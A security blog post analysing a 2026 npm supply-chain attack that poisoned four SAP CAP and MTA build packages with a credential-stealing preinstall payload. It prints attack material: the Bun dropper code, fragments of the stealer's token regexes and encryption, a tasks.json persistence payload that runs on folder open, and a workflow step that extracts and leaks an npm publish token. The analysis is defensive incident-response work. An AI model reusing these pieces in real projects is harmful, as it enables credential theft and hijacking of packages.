Mini Shai Hulud and SAP Compromise
Table of Contents
On April 29, 2026, a GitHub search for “A Mini Shai-Hulud has Appeared” returned over 1,000 repositories. Each was a developer’s own repo, recently poisoned by a credential-stealing payload bundled in four malicious SAP npm packages. The name is the attacker’s description string, committed to every repository the payload reached.
TL;DR
Four npm packages used by SAP CAP (Cloud Application Programming Model) and MTA build tooling were published on April 29, 2026 with a malicious preinstall hook: @cap-js/[email protected], @cap-js/[email protected], @cap-js/[email protected], and [email protected]. Each adds two files not present in previous versions: setup.mjs (a Bun runtime dropper) and execution.js (an 11MB obfuscated credential-stealing payload). All four share the same SAP-affiliated npm maintainers, indicating publisher account compromise.
Impact:
- Steals GitHub OAuth/PAT tokens (
gho_,ghp_), npm automation tokens, AWS access keys, and Azure/GCP credentials from the developer environment - In GitHub Actions environments, uses stolen
workflow-scoped tokens to commit malicious files to the victim’s own repositories - Committed payload includes a VS Code
tasks.jsonthat re-triggers the attack on repository open, establishing persistent CI/CD foothold
Indicators of Compromise (IoC):
@cap-js/[email protected]@cap-js/[email protected]@cap-js/[email protected][email protected]- Files
setup.mjsandexecution.jspresent in any of these packages - Unexpected
tasks.jsonat.vscode/tasks.jsonor.claude/paths in repositories - Bun process spawned from a temp directory during npm install
Analysis
Package Overview
@cap-js/db-service, @cap-js/sqlite, and @cap-js/postgres are core components of SAP’s Cloud Application Programming Model. Together they pull over one million installs per month. mbt (the SAP Cloud MTA Build Tool) adds another 200K monthly installs. SAP customers run these packages in enterprise CI/CD pipelines across the entire SAP ecosystem.
All three @cap-js packages list the same two npm maintainers: cap-npm ([email protected]) and sap_extncrepos ([email protected]). The mbt package uses shimit and cloudmtabot. Four packages poisoned in a single publish window, across two distinct maintainer sets, points to account-level compromise.
The malicious versions were published within a three-hour window on April 29, 2026. Each is a legitimate version bump containing all original source files, with two additions: setup.mjs and execution.js.
Execution Trigger
The attacker modified package.json in each package to replace the existing install script with a preinstall hook:
// @cap-js/sqlite: 2.2.1 vs 2.2.2 "test": "cds-test" "preinstall": "node setup.mjs"
// mbt: 1.2.47 vs 1.2.48 "install": "node install cloud-mta-build-tool", "test": "node ./bin/mbt" "preinstall": "node setup.mjs"preinstall fires before package contents are installed, making it the earliest hook available. Any npm install touching these packages, whether direct or transitive, triggers the payload.
Stage One: Bun Runtime Dropper
setup.mjs is identical across all four packages (SHA-256 hashes match for postgres and db-service; sqlite and mbt carry the same logic with minor differences). The script:
- Detects the host platform and architecture
- Downloads Bun v1.3.13 from
hxxps://github[.]com/oven-sh/bun/releases/download/bun-v1.3.13/to a temp directory - Extracts the binary using
unzipor PowerShell - Runs
execution.jsusing the downloaded Bun binary - Deletes the temp directory
The attacker pulls Bun from a legitimate GitHub release URL to avoid triggering network-level blocklists and make the traffic look benign to most egress filters. setup.mjs itself contains no malicious logic: the payload lives in execution.js.
// setup.mjs (identical across all four packages)const BUN_VERSION = "1.3.13";const ENTRY_SCRIPT = "execution.js";
async function main() { if (hasCommand("bun")) return; // skip if bun already installed
const asset = resolveAsset(); // e.g. "bun-linux-x64-baseline" const url = `https://github.com/oven-sh/bun/releases/download/bun-v${BUN_VERSION}/${asset}.zip`;
const tmpDir = fs.mkdtempSync(path.join(os.tmpdir(), "bun-dl-")); // ... download, extract, chmod ... execFileSync(bunBinary, [entryScriptPath], { stdio: "inherit", cwd: SCRIPT_DIR }); fs.rmSync(tmpDir, { recursive: true, force: true }); // cleanup}The script detects Alpine/musl for CI compatibility and sets a 120-second request timeout for slow runners.
Stage Two: Credential Harvesting Payload
execution.js is a single-line, 11MB obfuscated JavaScript file using hex-variable-name obfuscation (_0x298c5f, _0x3b9e, etc.) with a shuffled string table and rotation function. It bundles the AWS SDK v3, Azure SDK, GCP client libraries, and the Octokit GitHub client, all obfuscated into the same blob.
The main entry point, kZh(), orchestrates collection in three phases:
Phase 1: CI/CD environment check. The bZh() function inspects process.env.GITHUB_ACTIONS. If present, it reads GITHUB_WORKFLOW_REF and GITHUB_REPOSITORY and activates additional repository-targeting logic.
Phase 2: Credential collection. The dZh() function runs three scanner instances:
Ehf: Filesystem scanner using Bun’s Glob API, matchinggh[op]_[A-Za-z0-9]{36}andnpm_[A-Za-z0-9]{36,}whf: Shell environment scannerw4f: A third scanner (likely cloud metadata endpoint queries)
The scanners are composited through a streaming dispatcher (al) with a 100KB flush threshold, enabling incremental exfiltration for large credential sets.
// Extracted from execution.js - credential regex patterns in Nd classsuper(_0x30fa21['TPkcV'], _0x30fa21['SYVvi'], { 'npmtoken': /npm_[A-Za-z0-9]{36,}/g, 'ghtoken': /gh[op]_[A-Za-z0-9]{36}/g})The ns class targets AWS credentials using environment variables (AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN) and reads ~/.aws/credentials. Strings for Azure Key Vault (@azure/keyvault-secrets) and GCP Secret Manager (No secrets found in GCP Secret Manager) confirm cloud coverage extends to all three major providers.
Phase 3: Repository poisoning. For any GitHub token with workflow scope, kZh() instantiates the CA class:
// From execution.js (verbatim, tail section) - ghs_jwt token handlingif (_0x37d7ee[_0x1a0270(0xae5f)]?.['ghs_jwt']) { for (let _0x1ec8ef of _0x37d7ee['matches'][_0x1a0270(0x33e2)]) await new CA(_0x1ec8ef)[_0x1a0270(0xb394)](); // 0xb394 resolves to execute/run method}The CA class reads process.env.GITHUB_REPOSITORY to determine the target owner and repo, then fetches up to 50 branches and commits malicious files to eligible ones. The payload committed to victim repositories includes a VS Code tasks.json that re-executes the dropper when the project is opened:
// Embedded in execution.js as gzip+base64 - committed to victim repos{ "version": "2.0.0", "tasks": [ { "label": "Environment Setup", "type": "shell", "command": "node .claude/setup.mjs", "runOptions": { "runOn": "folderOpen" } } ]}This establishes persistence: any developer who clones and opens the compromised repository in VS Code will trigger the dropper again.
The repository poisoning left a visible trail on GitHub. Every victim repo received the same description string, making the scope of the attack searchable in real time:

GitHub search for “A Mini Shai-Hulud has Appeared” returning 1,000+ poisoned repositories, all updated within hours of the attack.
Data Exfiltration
The E4f base class handles exfiltration using layered encryption: stolen credentials are serialized to JSON, encrypted with AES-256-GCM using a random 256-bit key, and that key is then RSA-OAEP encrypted against the attacker’s public key. The E4f class sends the encrypted envelope over HTTPS to a C2 endpoint, with the hostname buried in the obfuscated string table.
// E4f.encrypt() - deobfuscated from execution.js (literal strings confirmed in source)const aesKey = randomBytes(0x20); // 32 bytesconst iv = randomBytes(0xc); // 12 bytesconst cipher = createCipheriv('aes-256-gcm', aesKey, iv);const ciphertext = Buffer.concat([cipher.update(payload), cipher.final(), cipher.getAuthTag()]);
// AES key wrapped with attacker's RSA public key (r8f, from obfuscated string table)const wrappedKey = publicEncrypt({ key: r8f, padding: constants.RSA_PKCS1_OAEP_PADDING, oaepHash: 'sha256' }, aesKey);The Fc exfiltration class also uses the victim’s own GitHub token to read account information and validate the token before exfiltrating, reducing noise from invalid credentials.
Obfuscation Techniques
The obfuscation matches javascript-obfuscator at high-protection mode: hex variable names, string array with index offsets, array rotation at load time, and dead code injection. The string array contains over 50,000 entries for the full 11MB bundle. The array stores literals like 'Found ghs token!' and 'No secrets found in GCP Secret Manager' and pulls them at runtime, making static string search ineffective.
The __decodeScrambled function handles an additional encoding layer for certain strings (observable in 230+ call sites in the mbt variant), using what appears to be a XOR or substitution cipher over a base64 alphabet.
Root Cause Analysis
What GitHub Forensics Revealed
Neither file exists on GitHub. setup.mjs and execution.js appear nowhere in cap-js/cds-dbs or SAP/cloud-mta-build-tool. No corresponding git commits or release tags exist for v2.2.2 or v2.10.1. The latest GitHub release on cds-dbs is sqlite-v2.2.1 from April 23.
curl -s "https://api.github.com/repos/cap-js/cds-dbs/contents/sqlite/setup.mjs" | jq .message# "Not Found"No SLSA provenance on the malicious versions. The legitimate @cap-js/[email protected] carries two npm attestations: an npm publish attestation and an SLSA provenance statement generated by the --provenance flag in the CI workflow. The malicious 2.2.2 has zero attestations. The packages were published directly to npm, bypassing the CI/CD pipeline.
# Legitimate 2.2.1: 2 attestationscurl -s "https://registry.npmjs.org/-/npm/v1/attestations/@cap-js/[email protected]" | jq '.attestations | length'# 2
# Malicious 2.2.2: 0 attestationscurl -s "https://registry.npmjs.org/-/npm/v1/attestations/@cap-js/[email protected]" | jq '.attestations | length'# 0A cancelled workflow run with a fake author. The release-please workflow in cap-js/cds-dbs shows exactly one run on April 29, 2026:
id: 25108178873event: pushbranch: update/releasesactor: RoshniNaveenaSstatus: cancelledcreated_at: 2026-04-29T12:13:48ZClickHouse data shows RoshniNaveenaS contributing across cap-js/attachments, cap-js/incidents-app, and cap-js/sdm since 2025, a legitimate SAP developer whose GitHub account was compromised.
The commit that triggered this run (4ae7eb0cd583) was authored as claude with the email [email protected] (GitHub verified signature status: false). It changed two files: .github/workflows/release-please.yml and execution.js, the same 11MB obfuscated credential stealer bundled in the malicious npm packages.
The Workflow Modification
The attacker pushed a chain of commits to the update/releases branch. The critical state was in the merge commit (963f7e39916d) that preceded the final push. The release-please.yml workflow was modified in two ways:
Branch trigger changed:
branches: - mainbranches: - update/releasesThis caused the workflow to fire on the update/releases branch push, making the environment: npm OIDC trusted publishing configuration accessible from a non-main branch.
npm publish steps replaced with an OIDC token exchange:
## debug info# - run: node config.mjs- run: | OIDC_TOKEN=$(curl -sH "Authorization: bearer $ACTIONS_ID_TOKEN_REQUEST_TOKEN" \ "$ACTIONS_ID_TOKEN_REQUEST_URL&audience=npm:registry.npmjs.org" | jq -r .value) NPM_TOKEN=$(curl -s -X POST \ https://registry.npmjs.org/-/npm/v1/oidc/token/exchange/package/%40cap-js%2Fsqlite \ -H "Content-Type: application/json" \ -H "Authorization: Bearer $OIDC_TOKEN" \ -d "{\"oidcToken\":\"$OIDC_TOKEN\"}" | jq -r .token) echo $NPM_TOKEN | base64 -w 0 | base64 -w 0- run: node config.mjsThis step exchanges a GitHub Actions OIDC JWT for an npm granular access token scoped to @cap-js/sqlite and prints it double-base64-encoded in the workflow output. Anyone with read access to the repository logs could decode it:
echo "DOUBLE_B64_FROM_LOG" | base64 -d | base64 -dThe final commit in the chain (4ae7eb0cd583) changed contents: write to contents: read and replaced the OIDC exchange step with node config.mjs, adding execution.js alongside it. This was the state of the workflow when the actual CI run triggered.
Commit 0a3dd44 shows config.mjs (the Bun dropper) and execution.js pushed directly to the cap-js/cds-dbs repository. The execution.js diff is too large for GitHub to render — the 11MB payload committed to a legitimate SAP repo:

Attack Timeline
| Time (UTC) | Event |
|---|---|
| 09:55:25 | [email protected] published (maintainer: cloudmtabot) |
| 11:25:47 | @cap-js/[email protected] published (maintainer: cap-npm) |
| 12:13:48 | Workflow run triggered from update/releases push by RoshniNaveenaS |
| 12:14:00 | @cap-js/[email protected] and @cap-js/[email protected] published |
| ~12:14 | Workflow cancelled; update/releases force-reverted to 9228adc2 |
@cap-js/[email protected] was published at 11:25, 48 minutes before the GitHub push at 12:13. The attacker already had npm credentials before the GitHub workflow attack. The modified workflow was either used in an earlier undetected run, or the credentials came from a separate prior vector.
mbt Was Published Separately
The mbt package uses a different maintainer set: shimit and cloudmtabot. The SAP/cloud-mta-build-tool repository shows no suspicious commits or workflow activity on April 29. mbt has never used --provenance in its publish workflow (all 1.2.x versions have zero attestations). The cloudmtabot automation token, stored as a static GitHub Actions secret, was the likely target. Available evidence doesn’t confirm the specific theft mechanism.
How the Token Exchange Attack Works
The cds-dbs team migrated to npm OIDC trusted publishing in November 2025. Under this setup, GitHub Actions can request a short-lived npm token without storing any long-lived secrets in the repository:
# What the legitimate publish workflow does (via actions/setup-node)OIDC_TOKEN=$(curl -H "Authorization: bearer $ACTIONS_ID_TOKEN_REQUEST_TOKEN" \ "$ACTIONS_ID_TOKEN_REQUEST_URL&audience=npm:registry.npmjs.org" | jq -r .value)# token is exchanged internally by npm CLI, never printednpm publish --provenanceThe attacker reproduced this exchange manually in a CI step and printed the resulting token. The critical configuration gap: npm’s OIDC trusted publisher configuration for @cap-js/sqlite trusted any workflow in cap-js/cds-dbs, not just the canonical release-please.yml on main. A branch push could exchange an OIDC token on behalf of the package if the workflow had id-token: write permission and the environment: npm reference.
Confirmed Attack Vectors and Root Cause
For @cap-js/sqlite, @cap-js/postgres, @cap-js/db-service: The attacker compromised RoshniNaveenaS’s account, pushed a modified workflow to a non-main branch, and used the extracted npm OIDC token to publish the malicious packages without provenance.
For mbt: The specific token theft mechanism is unconfirmed. Someone compromised the cloudmtabot static npm token through a channel not visible in public repository data.
The OIDC trusted publishing configuration trusted the cap-js/cds-dbs repository broadly, not a specific workflow file or branch. Specifying the exact workflow filename in the registry trusted publisher configuration, combined with deployment environment protection rules requiring human approval, would have blocked this attack path:
# Hardened npm trusted publisher configuration:# Repository: cap-js/cds-dbs# Environment: npmThe account compromise points to a prior stage of credential theft. The execution.js payload scans for GitHub tokens using /gh[op]_[A-Za-z0-9]{36}/g, the same class of token that enabled the repository push. Stolen npm credentials publish a package that steals GitHub tokens, which enable the next npm credential theft. The loop runs through every SAP developer environment the payload touches.
Conclusion
The attacker chose a high-value target: enterprise CI/CD pipelines running with GITHUB_TOKEN scopes broad enough to write to repositories. The two-stage design (Bun dropper plus obfuscated bundled payload) keeps the malicious artifact out of Node.js’s standard module resolution and eliminates dependency-graph evidence. Reviewers who audit source files but skip .vscode/ configuration will miss the VS Code tasks persistence mechanism.
The root cause for the @cap-js packages: a compromised developer account and an OIDC trusted publishing configuration that trusted the cap-js/cds-dbs repository broadly instead of a specific workflow on a protected branch.
If your project depends on any of the four affected packages and was installed on or after April 29, 2026, rotate all GitHub tokens, npm tokens, and cloud credentials immediately. Audit recent commits to your repositories for unexpected tasks.json additions in .vscode/ or .claude/ directories.
References
- npm
- oss
- malware
- supply-chain
- sap
- github-actions
Author
SafeDep Team
safedep.io
Share
The Latest from SafeDep blogs
Follow for the latest updates and insights on open source security & engineering

Malicious redeem-onchain-sdk npm Targets Crypto Wallets
redeem-onchain-sdk impersonates a Polymarket helper SDK and exfiltrates SSH keys, AWS credentials, npm tokens, Docker configs, Chrome saved logins, and a month of local git history to an AWS-hosted...

Malicious Pull Requests: A Threat Model
A compact threat model of the malicious pull request as a supply chain attack primitive against GitHub Actions: attacker, goals, assets, controllable surface, and an attack vector taxonomy (V1...

Bitwarden CLI Supply Chain Compromise
A technical writeup of the malicious `@bitwarden/[email protected]` release linked to the Checkmarx campaign. Covers the poisoned publish path, loader changes, credential theft, GitHub abuse, and...

ixpresso-core: Windows RAT Disguised as a WhatsApp Agent
ixpresso-core poses as an AI WhatsApp agent on npm but installs Veltrix, a Windows RAT that steals browser credentials, Discord tokens, and keystrokes via a hardcoded Discord webhook.

Ship Code.
Not Malware.
Start free with open source tools on your machine. Scale to a unified platform for your organization.
